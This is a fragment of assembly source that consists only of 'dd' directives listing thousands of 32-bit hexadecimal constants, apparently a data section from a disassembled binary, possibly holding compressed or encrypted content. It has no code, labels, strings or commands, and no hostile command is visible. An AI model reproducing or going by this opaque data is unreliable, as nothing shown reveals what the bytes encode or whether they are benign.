		dd 1D2A38D2h, 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h
		dd 3BB0925h, 4B594CE0h,	56A8F05Ah, 72006116h, 48ADF846h
		dd 2D9F7Bh, 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h
		dd 0DDEBBD51h, 703AC70h, 44BCCCF7h, 78E6304Bh, 11007F6Fh
		dd 64DFCEE9h, 731724B4h, 886A0758h, 0D06023D6h,	0C4709472h
		dd 0BE27D21Fh, 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh
		dd 0E4082112h, 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h
		dd 3400AA11h, 6A9488F3h, 0ABCF4Fh, 54801B6Ch, 7765AD7Bh
		dd 31C56800h, 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh
		dd 12AFA14Eh, 0EBD0DC69h, 3A294100h, 8D8263BCh,	0F87885h
		dd 1975809Ah, 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h
		dd 5F0B0879h, 50E41E5Bh, 856D7100h, 0F7659784h,	1294004Ah
		dd 2224CA1Dh, 5C0B0810h, 80727453h, 0A5AB2D16h,	0ED750027h
		dd 6918A4E4h, 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh
		dd 6D6F431Ch, 34876500h, 712C0A73h, 880B39ECh, 0C170C400h
		dd 0D34E7909h, 8064523Fh, 2BD01884h, 0BA40F22h,	28447291h
		dd 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh, 25876C33h, 927900DEh
		dd 12633018h, 0C848D48Bh, 0ACBC00F4h, 178DB6C4h, 0E031FAC2h
		dd 0ECB2002Fh, 69540BCAh, 0EA0F4556h, 24985980h, 0A2800C89h
		dd 0B87212h, 56AD536Ch,	30C88ADCh, 0E445400h, 6765354Ch
		dd 0E109005Ah, 0C95BC370h, 4B017468h, 0E0F82930h, 27D8ABF2h
		dd 87640018h, 6BC58E6Dh, 0C8F72873h, 0B200D142h, 0B14F2610h
		dd 9055E5h, 947AC427h, 814475Ah, 0D6D18001h, 0EA25F46h
		dd 6016CCh, 295CC595h, 2EB06488h, 90E34B16h, 0DCC47F00h
		dd 7C44D148h, 0ABF07EDh, 40B36965h, 12B47542h, 806C643Fh
		dd 30D2520Ch, 72EB8F6h,	14257669h, 8B59165h, 24FC4E0h
		dd 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h, 31A1866h, 88104619h
		dd 0C8064301h, 1890141Bh, 2E9104E0h, 73A381Ch, 50AE961Ah
		dd 0D27CB865h, 29339F00h, 13AB9C4Ah, 1038000Fh,	2E642B25h
		dd 14F02703h, 87D2AD00h, 53588011h, 0FB478B1h, 2190DF3Eh
		dd 5CC0A74Eh, 3181779Dh, 0F80BF0BFh, 79E107D9h,	0E0B8AC2Ah
		dd 0D234150Ah, 2B00257Ch, 0EDBBC044h, 588AD620h, 0D3004703h
		dd 0D501B5A7h, 0B8008302h, 0AE3D4FFBh, 0FA34D4h, 0E2C87232h
		dd 0C9128937h, 8CB7D901h, 0F188A18Bh, 5562D0h, 9C01451Bh
		dd 0D35B279Fh, 80FB1D3Ah, 504108D1h, 32A5251h, 0EB1069ECh
		dd 588864C2h, 3C00B3EAh, 5E575684h, 38A473h, 0C29887E9h
		dd 145A52E6h, 369FB40Eh, 0BF2B0Fh, 8E1F3EACh, 471000Bh
		dd 0FD27CCFEh, 5F01AF12h, 38EA1CD1h, 0C0D44754h, 34560039h
		dd 0FF3A3374h, 811ECC76h, 470EC322h, 0BA805D4Ch, 809044Dh
		dd 3C0F0370h, 6F7788B1h, 298BB6B8h, 69DE7503h, 0FA99554Bh
		dd 3654E00Ch, 2B4300AFh, 0A5D4459Fh, 0AD010576h, 1912BEF4h
		dd 0F0D0A2E2h, 15261D90h, 8043DE0Eh, 0C1695D8Ch, 2A019402h
		dd 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh, 0C0E0047h, 7E2146D2h
		dd 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h, 0D9A50077h, 0CEB62A4h
		dd 3F002171h, 1711DBA7h, 686C6Ah, 74D83BC0h, 0AECB8316h
		dd 0A6F70400h, 4512A028h, 0C26A00F0h, 4FDF77E3h, 290024ABh
		dd 48165D4Bh, 0B00C06C3h, 0CE090C9Ch, 66B23908h, 0D7CA890Eh
		dd 907A8085h, 0FF0AA6h,	1184872h, 6CC1EBCEh, 595C2300h
		dd 0E26A90E5h, 3A8100A0h, 2E1977D0h, 6F009B89h,	4B2BC48Ch
		dd 88FBC2h, 0B483075Bh,	0FFB09281h, 0EE604504h,	5700CC17h
		dd 5882FEE9h, 58474048h, 2E10033h, 0C1F5FA2Ch, 6B5E0175h
		dd 0A0F168D8h, 2D6320C4h, 0DCA13C00h, 1F061CE3h, 7EBD0043h
		dd 4194D48h, 0FA008001h, 5302BB05h, 3C32EBh, 9D2CAF41h
		dd 27450618h, 82206A60h, 7A28AFEh, 4C50FF5h, 0C7838088h
		dd 541F4802h, 95C0CF43h, 13C144Dh, 0D9495C30h, 34D9AA00h
		dd 8448E36Bh, 3DC93200h, 0B95E882Fh, 12760391h,	3B7421BAh
		dd 72FC3AF0h, 6A838C00h, 0C7F2F449h, 0B2900010h, 30393DD6h
		dd 96007370h, 0BFC28BD2h, 0E698FEh, 0C6126CF4h,	5D4A2404h
		dd 935B801h, 3B5564BAh,	0E0FCADF5h, 0FE840042h,	0F3C07489h
		dd 0B405ED33h, 5F77087Eh, 0E681C280h, 0FE103B8Ch, 830F1B9Eh
		dd 0DBAB0DDFh, 7C89CEB8h, 47174A00h, 0E388559Fh, 0B19011h
		dd 8BA71F0Dh, 8577F8BAh, 81A09E4Ah, 115F00D0h, 0C53B2BF1h
		dd 2C022452h, 0FF6AE477h, 0B6D5E054h, 0B9D400DBh, 86E7226Ch
		dd 7E7D7428h, 52897F05h, 0BE0092ADh, 1D8D70EBh,	661A1D98h
		dd 850580D6h, 28215346h, 4D75E207h, 40903E9Ch, 6132CBh
		dd 6F881931h, 0E655697h, 6AE91F05h, 0D60E03AEh,	0C622E005h
		dd 0AB2550h, 121DA511h,	0AF0A5406h, 1244C00h, 77714FDh
		dd 68FE6303h, 5E05B8Ah,	5F3B5D62h, 0A25A03B3h, 0F3BE4BD1h
		dd 9FEAA0A4h, 0FD130025h, 4E7FDED9h, 10F688EFh,	41CC2000h
		dd 22496F5Bh, 196A00D8h, 92F53942h, 54015DE7h, 0C0A38C1Bh
		dd 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h
		dd 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h, 44EC3700h
		dd 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h, 5800EF32h,	19F7EAA7h
		dd 0F8BD7076h, 223B00D7h, 2C683603h, 2E008D66h,	0C74543E4h
		dd 0EA8271h, 7802F45Fh,	33CAE055h, 0BD49F300h, 30AE2040h
		dd 17DC0053h, 0E251606Fh, 230722D8h, 68D413C0h,	0DEE7A627h
		dd 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh,	763BC812h
		dd 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh
		dd 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h,	148D7A37h
		dd 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh, 5F4DA4D1h,	884740BDh
		dd 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h, 0F75C2C00h
		dd 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh, 61BBC007h
		dd 40004E70h, 2571626Bh
		dd 3B691C65h, 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h
		dd 0C34316h, 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h
		dd 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h
		dd 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 0A5C00ACh, 4FF2C727h
		dd 1B002910h, 0DA6CB74Ah, 3E3BA908h, 5F8346C2h,	0EE58E276h
		dd 515EB5E0h, 30E1F43Ah, 3E1378D4h, 0A8BC0020h,	0DA9057A2h
		dd 8504DC36h, 341D0425h, 53DD6FC0h, 0F982008Fh,	0E9A7AAA3h
		dd 4B005DC9h, 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h
		dd 0A3184700h, 3D83438Ch, 0C9FEA2h, 0ECC28EF4h,	0DBF12124h
		dd 3A14538h, 6838801Ah,	0AAAA875h, 94431FFDh, 6E90004h
		dd 0C525A2D9h, 0E88660E3h, 2AD0AF60h, 0FC2336h,	6E3BBF7h
		dd 1DF8682Fh, 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h
		dd 0F4176984h, 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h
		dd 0CA2B89B6h, 458BD401h, 952AA2B8h, 1D6B0F20h,	40E2F343h
		dd 4B2FDC3Dh, 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h
		dd 34228CD4h, 0E3E35465h, 87EB50EBh, 25FF16F8h,	0C0F84400h
		dd 1C401099h, 478E003Ch, 91342338h, 2C00C830h, 247228E4h
		dd 0E21C2039h, 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh
		dd 5002814h, 94E8F35Ah,	0B5F2BF4Fh, 8404D000h, 0B05F76D2h
		dd 0C9440081h, 5DA1708Ah, 8000FC01h, 2EFF0B7Ch,	0FED175h
		dd 7D3944BDh, 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h
		dd 40B2E937h, 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh
		dd 1E964E35h, 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch
		dd 2402C4Ch, 75CAFE0Dh,	0AFC0DAA3h, 0B10023F9h,	6E22DDABh
		dd 0B540F6h, 51E29456h,	2DC5BE53h, 69DE0F2Eh, 0E72CC400h
		dd 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h
		dd 182B376Ch, 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h
		dd 7998B900h, 28FF6B26h, 0BC2CA6h, 0C7031E14h, 0A406D950h
		dd 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h
		dd 0E4888032h, 8900141Fh, 2E051043h, 1060Ch, 667F6854h
		dd 3D53004h, 0DF6EC800h, 0C6097D60h, 6B484805h,	62842Eh
		dd 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh, 0B7452501h, 0D520A67Bh
		dd 64D5037Eh, 5F107CEEh, 96700AD8h, 0E7AE3507h,	4FE05A14h
		dd 3E2016ACh, 180A9FBh,	0A897E8ECh, 0D3F87556h,	0B2EB8E00h
		dd 0AA055F71h, 58531750h, 0C8ACF047h, 0B39F1400h, 374A0460h
		dd 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh, 2E35A6A0h,	0BC00C9BFh
		dd 81100540h, 41878h, 7554D7B1h, 0C2A4AC15h, 77A4848h
		dd 81274A58h, 0F3EB2053h, 0B204D085h, 145C77D7h, 0CD0EC862h
		dd 2CF82401h, 0CD5EC390h, 1EF2E074h, 0CCE1A300h, 80ED6A29h
		dd 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh, 38D4923Fh, 66A28010h
		dd 25439F0h, 7A8600E8h,	0EE8AC8E0h, 0CD00AF42h,	0F00D217Fh
		dd 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh, 0CB8362C6h, 8065DF39h
		dd 11B3E882h, 9545F02h,	3C995C31h, 0D95EC000h, 0E80B9C13h
		dd 80C15274h, 699208CAh, 0B963398Dh, 4AB68000h,	18201514h
		dd 7AA20C01h, 4352DF90h, 973477E5h, 9CE47Dh, 0E8C28B30h
		dd 0A73D322Ah, 16032500h, 59396491h, 0B66E390Ch, 0FE701080h
		dd 131ED48h, 87E86700h,	46BA44Dh, 88E422h, 0A8903419h
		dd 80282429h, 0E0103D02h, 0C0135074h, 0FBBB9E3h, 0D75B059Eh
		dd 5CA7F320h, 0F7044C0Bh, 0C139E034h, 2E4E9980h, 92D0006Fh
		dd 40A5C779h, 0D400CF7Fh, 64882238h, 4B5073h, 4C20AA52h
		dd 0D60CBED8h, 21AE2701h, 3F2C8F16h, 1CF5CD4h, 5ABB4A3Ch
		dd 307B71ABh, 8000019Ch, 742DFC78h, 0B8D71Eh, 135DB2A4h
		dd 0DE2F0451h, 4F5A8000h, 0E16A88C6h, 34E252h, 6789D877h
		dd 0E5D7B8A7h, 6500C275h, 2EE19608h, 1E58595Bh,	0BA64354Bh
		dd 825AB501h, 0F4D0D727h, 0F000ADE9h, 0EB3F19A8h, 8AE705h
		dd 0BC84A663h, 5C766AE1h, 0E810C004h, 0FAC04607h, 12D11Bh
		dd 47653D1Dh, 0E688554h, 8ECE3EFAh, 0CFABAA50h,	0BA4F241Fh
		dd 0F8E8BCC0h, 19DA6600h, 4F0B2A51h, 0C95C00CFh, 44B942C2h
		dd 0BA1E4813h, 825FD378h, 3C7A9882h, 1CA66032h,	36DC00B8h
		dd 130EBF15h, 71011A74h, 64FDBBBAh, 0DF61EB7Fh,	0FE2FF4h
		dd 0B2799554h, 0A7D3A45Ah, 0A35B9800h, 6E200775h, 47741C6Fh
		dd 7B80BC66h, 144450D1h, 45004840h, 30204F4Ch, 3E7355h
		dd 3A69572Eh, 0ACDE6874h, 0B498C4A0h, 3B498700h, 92F0D5AFh
		dd 29F700FBh, 0EFE388C5h, 0FC00A23Ch, 351B9886h, 2F9CB8h
		dd 0EB4E90E2h, 8B3301C0h, 4967C807h, 0ABF4BA3Ch, 2B736980h
		dd 0A8420020h, 0FEA32D9Fh, 62002C03h, 0A75D253h, 0A54494h
		dd 0E38F8BDDh, 49F3C755h, 3CF8F970h, 800CFC3Dh,	7CA3853Eh
		dd 4AF1ABD5h, 58B812h, 0E233545Bh, 8D49D2h, 22F7EE4Dh
		dd 0D5E42878h, 694EF900h, 0F17F7B32h, 19C23E5Fh, 0F22BD101h
		dd 0C008BCF5h, 4900414Dh, 5246204Ch, 1C3AF04Fh,	40885BEDh
		dd 0B047DE9Ah, 1509A1E2h, 14008E4h, 205450DEh, 5E4FE0h
		dd 1CCCA3Ah, 0DD0814E8h, 0D85D8900h, 0EE4E3250h, 698F05AFh
		dd 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h, 94D9A4C7h, 75FA0F92h
		dd 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h, 3B63F059h, 3EC3064h
		dd 0C429C314h, 77BB4418h, 0F622CAF0h, 0D443BA00h, 0A137C99Dh
		dd 0B8CF00A7h, 2173BE1h, 25B0C1ECh, 0E6004298h,	6B2CAB38h
		dd 470FF4h, 94688D8Bh, 3B42406Eh, 0A701DC03h, 0D857CBF3h
		dd 0B441C14h, 0D8A65441h, 4612F880h, 6D07C861h,	205C8725h
		dd 0F4FBFFE0h, 88090028h, 7F977553h, 2A008DADh,	8A2C144Ch
		dd 922BDFh, 2D5E2858h, 32B3C9E5h, 0F3781600h, 616CC82Fh
		dd 6E3E0069h, 68631D3Bh, 1F0072D6h, 493DC024h, 2D4F53h
		dd 7535E238h, 4C315639h, 0E21293Dh, 40437ACBh, 45E5ED66h
		dd 6F633BF4h, 67706480h, 62382C8Ah, 0F627561Eh,	53F45881h
		dd 97E47D91h, 70830F7Eh, 8525E6C8h, 5FE983C9h, 0B725D5B8h
		dd 1092D400h, 0EC4F6A7Fh, 0D32300B4h, 0E6CF62D6h, 0A531266Fh
		dd 686ECCFFh, 35343D0h,	4CE7A3B8h, 9FE96958h, 5251F8F4h
		dd 38F7EF00h, 39829794h, 3A413CE7h, 881400F3h, 0A484C06Ch
		dd 103F2A8Bh, 8A88F40h,	3839A042h, 701AAF0h, 4A4784Ch
		dd 0F61560AFh, 501C820h, 30C16590h, 0AF81910h, 0F36FE29h
		dd 0CA08C060h, 2D81CC69h, 0F42B2C05h, 957D5A64h, 4D282703h
		dd 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h, 663F5269h
		dd 804036Ch, 0A04650A1h, 0EC37Ch, 0B6D7EBE8h, 8D8157B4h
		dd 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h,	154FD0FBh
		dd 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh, 44ED7900h
		dd 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h,	0E57538A0h
		dd 0A26D2A00h, 717464h,	8D704C52h, 453CAE72h, 39403Ch
		dd 0D05F5089h, 5BBD94h,	75488555h, 7D8AF9F6h, 742FE73Fh
		dd 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h, 888B1BA0h
		dd 956F7400h, 28692C91h, 0DF034C5Ah, 0D91FE905h, 92038099h
		dd 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah, 8500A101h
		dd 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h, 16294A7Bh
		dd 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h, 404C6728h
		dd 8DE959E0h, 8E73297Bh
		dd 592D3Bh, 0FB3AE571h,	4E182Ah, 0C9825CA6h, 0F51A8D89h
		dd 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh
		dd 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch,	61300FB8h
		dd 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h
		dd 26D858Ah, 25ECB5BBh,	18E01844h, 6E00EB2Ch, 0A7D04936h
		dd 1D28E6h, 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h
		dd 76481730h, 2E2D0064h, 0EB50B11Ch, 8E00BBD6h,	0BD800A65h
		dd 0B88269h, 203FFA6Ch,	0BADAF8Bh, 4B214E01h, 0E15E0CB3h
		dd 0E73ECh, 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh
		dd 0C55765E3h, 0B0200B5h, 5EEB8C68h, 4500DA0Fh,	0EAFF8995h
		dd 78E9AF74h, 55A7011Dh, 598AC47h, 5C06607Dh, 4B00DAF2h
		dd 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h,	0E8FAD8FDh
		dd 0A4F9B750h, 689D3B00h, 0A879AF2Fh, 1CC9043h,	0CB8588Ah
		dd 0E4E54020h, 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h
		dd 6629EEh, 8F100E8Ah, 500A5ECh, 3101B9EDh, 3EA263D5h
		dd 0D803C6Dh, 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h
		dd 9E97E805h, 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h
		dd 0D8450084h, 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh
		dd 0B794E063h, 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h
		dd 0ECE4AF02h, 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h
		dd 4F880E00h, 5122036Eh, 72710066h, 5660A06Dh, 64002567h
		dd 21F8966Ch, 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h
		dd 0F700ABD4h, 0EDCF16D5h, 784AEA7h, 31EFBB83h,	0B09E6039h
		dd 0BA00280Dh, 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh
		dd 9012DD00h, 0BCC8B01Ah, 21C01E11h, 22C44FACh,	0CC21F032h
		dd 0A4D04400h, 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch
		dd 680084E8h, 90B48521h, 3F032ECh, 0D51AC435h, 8BD86CB0h
		dd 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh
		dd 951B3C8h, 70C47550h,	25290209h, 0CBAD8078h, 0FE32AD61h
		dd 42140063h, 50628864h, 8E676973h, 3F838A10h, 937C9C5h
		dd 8FBC4h, 50C15C6Bh, 0A685EF41h, 589F4403h, 0C0E23DA4h
		dd 4CF7F6h, 0F8324AF9h,	434838CFh, 0CCAA2700h, 335DE10Dh
		dd 20F076Eh, 31A6FFB8h,	0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h
		dd 0DBF3489Bh, 621F3F69h, 4E62B8Eh, 0B6700F80h,	102BA25h
		dd 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh, 75330518h, 0A013D0CDh
		dd 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch, 753AAC68h, 0CCA16D48h
		dd 81003CEFh, 266AFBD7h, 0A09C4Ch, 420D312Dh, 2409940Ah
		dd 13C4400h, 6B40716Dh,	3FC50060h, 5CE6B033h, 2D3B18A5h
		dd 5BF78009h, 468BEA08h, 9102022Eh, 2CB90B78h, 534B8F40h
		dd 76008778h, 0D1D77F2h, 8F010h, 8C022249h, 53140446h
		dd 38838001h, 2F26D49Eh, 206A30h, 3C705B9Fh, 0F233B85Fh
		dd 0CFC40B00h, 79084725h, 0F8D1EAD3h, 0FE8CFE84h, 4B98038Ah
		dd 0A01636A3h, 608657C7h, 424611ACh, 8771EC0Eh,	20A18E10h
		dd 0E6F5DE14h, 0B394001Ah, 82E8950Fh, 0B90001E0h, 0B7AE53DDh
		dd 9078764Ch, 416900DAh, 0B416E421h, 0E31E6891h, 198345DCh
		dd 98E02C10h, 78C6CA1h,	84DE3388h, 0BAE3C0A2h, 77006355h
		dd 790A9CABh, 1700BF0h,	1B22F34Bh, 0E7EA1415h, 57C0CBC3h
		dd 8500E118h, 0C1A5AEDCh, 3014C210h, 0FB22958Bh, 3D0053D8h
		dd 0A0654827h, 60683C49h, 18E7AE05h, 500037F7h,	5514A2A1h
		dd 7674129Ah, 9E210076h, 1CA4D822h, 95032991h, 0B81A118Bh
		dd 1873884Ch, 0D485020Ah, 0C9A2437h, 892727E0h,	0CEA4FC00h
		dd 0A8CDC61Dh, 21C3000Dh, 0AC903C29h, 0E400B0C8h, 19B43240h
		dd 441CB8h, 7EBC4386h, 7C87A684h, 0C4548906h, 1AC812h
		dd 91CC214Ch, 28BF48D0h, 0B6D9500h, 5B9038Bh, 2B363D96h
		dd 2CDFD400h, 3CD7AD8Eh, 8D711718h, 5A39ECh, 3E98B2BAh
		dd 99285295h, 513EACB8h, 8370147h, 218E428Fh, 0C6E5E8h
		dd 7DB15EBDh, 4A8513F2h, 0D70669FCh, 0BA120523h, 8BE7002Eh
		dd 533509D0h, 570040DCh, 39717064h, 4A6C6Ah, 249FEBC5h
		dd 4803E29Dh, 650063F4h, 779A4166h, 0F5D50CAh, 640EE09Ch
		dd 473D2080h, 757C255Bh, 7F888E00h, 0A614FAFDh,	784A0B10h
		dd 0A804C8Fh, 6D0B735Fh, 93054FF2h, 22EC8488h, 0F454B7C0h
		dd 79F07906h, 0FCB76B0h, 4E7930F8h, 0FC2D8580h,	1E00C47Eh
		dd 0C24FDAECh, 0A0F786h, 27E853BFh, 7C26B549h, 800D0F3Bh
		dd 0CE57036Ah, 7FF64CDh, 93536F30h, 7D4B7169h, 3E5A30EAh
		dd 77DB0A16h, 4F8C703h,	0A801B874h, 0D09B0044h,	788D102Ah
		dd 4D00E0DFh, 0FA591703h, 0AA0D8Eh, 0BA439185h,	7EADB474h
		dd 5510D500h, 0EEB1612Eh, 8838002Ah, 9BBDEC85h,	9709DFABh
		dd 5C201656h, 30F90079h, 948DE406h, 3E179500h, 5A57CDB9h
		dd 0CFC50312h, 0F455116Ah, 3D2A4590h, 0E22E8107h, 0D321B2DBh
		dd 79CCC954h, 7CF300A5h, 0D02DC8A4h, 7500241Eh,	0F225AC6Ch
		dd 2C3A7649h, 0A6F697h,	70714130h, 69006C13h, 86A9AC63h
		dd 630E6420h, 94FD28F2h, 0B202D3D8h, 0B700A0EAh, 0FC8E41F5h
		dd 3C3E96DBh, 0E980D088h, 0D20F3510h, 7C1F909Fh, 69C7B78Ch
		dd 1CF093C2h, 0B8F403h,	226ECE8h, 352504A1h, 52BCE00h
		dd 0D5D3A79Ch, 0F7BE0011h, 0E5971042h, 8203A54Ah, 480EF6C1h
		dd 99D5C019h, 94E701BEh, 6186662Ah, 0B8ECF450h,	7D0E1803h
		dd 0B83D22DDh, 2B29Dh, 139B5A25h, 5772ACF8h, 0D6E46E00h
		dd 99082788h, 0B24F0324h, 3F8A491Fh, 1C714AE0h,	0EF225Ch
		dd 0EF42BD9Ah, 3B09D2h,	2ABCAC45h, 8F5BEE1h, 0BA38E407h
		dd 0F8774307h, 0CB30B0D3h, 352C883Ah, 362A009Dh, 34283D06h
		dd 74399110h, 677200C0h, 62431D70h, 64C30077h, 0A1286D66h
		dd 5C036568h, 8A976318h, 12F1A80Bh, 5D405C10h, 6A6E0900h
		dd 8F0E6560h, 2668A000h, 1A786255h, 7D7B0067h, 0E4F3DD28h
		dd 0F600BE42h, 7A389514h, 0F99A156h, 9BE80435h,	2760A2E0h
		dd 0C5007625h, 0DA49CC1Ah, 7FE04890h, 0E6CB0028h, 0EB144F22h
		dd 0DE006A23h, 9025F42Ah, 280421BFh, 0A8EAF7h, 0C58B0745h
		dd 94CF77F6h, 41DC490Bh, 75B18089h, 63F816h, 64535110h
		dd 77712407h, 700073E6h, 62752676h, 777C691Ch, 0F9900029h
		dd 5C244A15h, 6B7F074Ch, 57006F7Fh, 197BC728h, 0A02A1405h
		dd 955689h, 24848913h, 836AA372h, 0EBF4220Fh, 0BCEFF7h
		dd 4BD79001h, 19200049h, 6BC48B7Eh, 0CC0256BAh,	2566B322h
		dd 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h,	130FABCAh
		dd 29ACD8h, 0C32DCE3Bh,	276AE45Ch, 21574509h, 9A07D751h
		dd 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h
		dd 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h, 0A319030Ah
		dd 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh, 401F496Eh
		dd 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch, 7FC317h
		dd 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h,	0FC64C4ECh
		dd 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh, 31590840h
		dd 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h, 0ADC705Fh
		dd 15890004h, 64A87B0h,	2D501245h, 68056ED0h, 0EF82CD8h
		dd 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h, 0BA8560C0h
		dd 75F7CC00h, 48AC955Ah
		dd 4AB90013h, 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h
		dd 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch
		dd 307A45h, 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h
		dd 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h,	0E152F903h
		dd 782A8CEh, 50B814A4h,	5F9E40D5h, 64B8CA4Ch, 68F95E0Fh
		dd 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h,	0E02AAAD9h
		dd 0FC7050C4h, 0A5093Bh, 34058EB4h, 24F397ADh, 4F16A4h
		dd 0E80183B8h, 39005E33h, 980A7448h, 161506h, 20135DD1h
		dd 0EFC138EBh, 2FFA2400h, 34CA2EA3h, 4479030Eh,	6454231Bh
		dd 0E26E3988h, 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h
		dd 4002C94h, 34301C84h,	162238h, 0EFFA8068h, 28E21065h
		dd 3732C400h, 0EA9DE860h, 432E00C0h, 74276E61h,	6C00201Dh
		dd 0A64DA6Fh, 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h
		dd 0EB540584h, 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h
		dd 83420168h, 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h
		dd 82297F3h, 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h
		dd 0C34C002Dh, 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h
		dd 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh, 4700EAB8h,	8524F710h
		dd 1482C7h, 0CB560B23h,	0C47FBE4Eh, 0C07B0300h,	48C39428h
		dd 1B2500C8h, 0B00C5793h, 473B3140h, 224E0053h,	8126A01Ch
		dd 0C3511FBCh, 766DC00Bh, 482F680Ah, 1BDEFC01h,	2041A452h
		dd 8D3BE8h, 0B8E72490h,	89F89F5Eh, 8A0FFC30h, 0AD6D22h
		dd 77C90576h, 833AFBC4h, 9DF00805h, 0B240E8D4h,	1130222Ch
		dd 7C097234h, 9F370744h, 2079D5EAh, 0C5B55DF8h,	0C3647200h
		dd 8870B7AAh, 5A7C36h, 0F89838FBh, 0D9ED63E9h, 670E8900h
		dd 87F8310h, 0EF9200DCh, 0EB755AA9h, 5DFAC244h,	0B2A8DB00h
		dd 0B41B2C34h, 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h
		dd 3EE8B0Eh, 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h
		dd 0CDDE752Ah, 5E40ED4h, 2C201021h, 34443088h, 0EB382000h
		dd 0DA7E9732h, 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h
		dd 482A4Dh, 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h
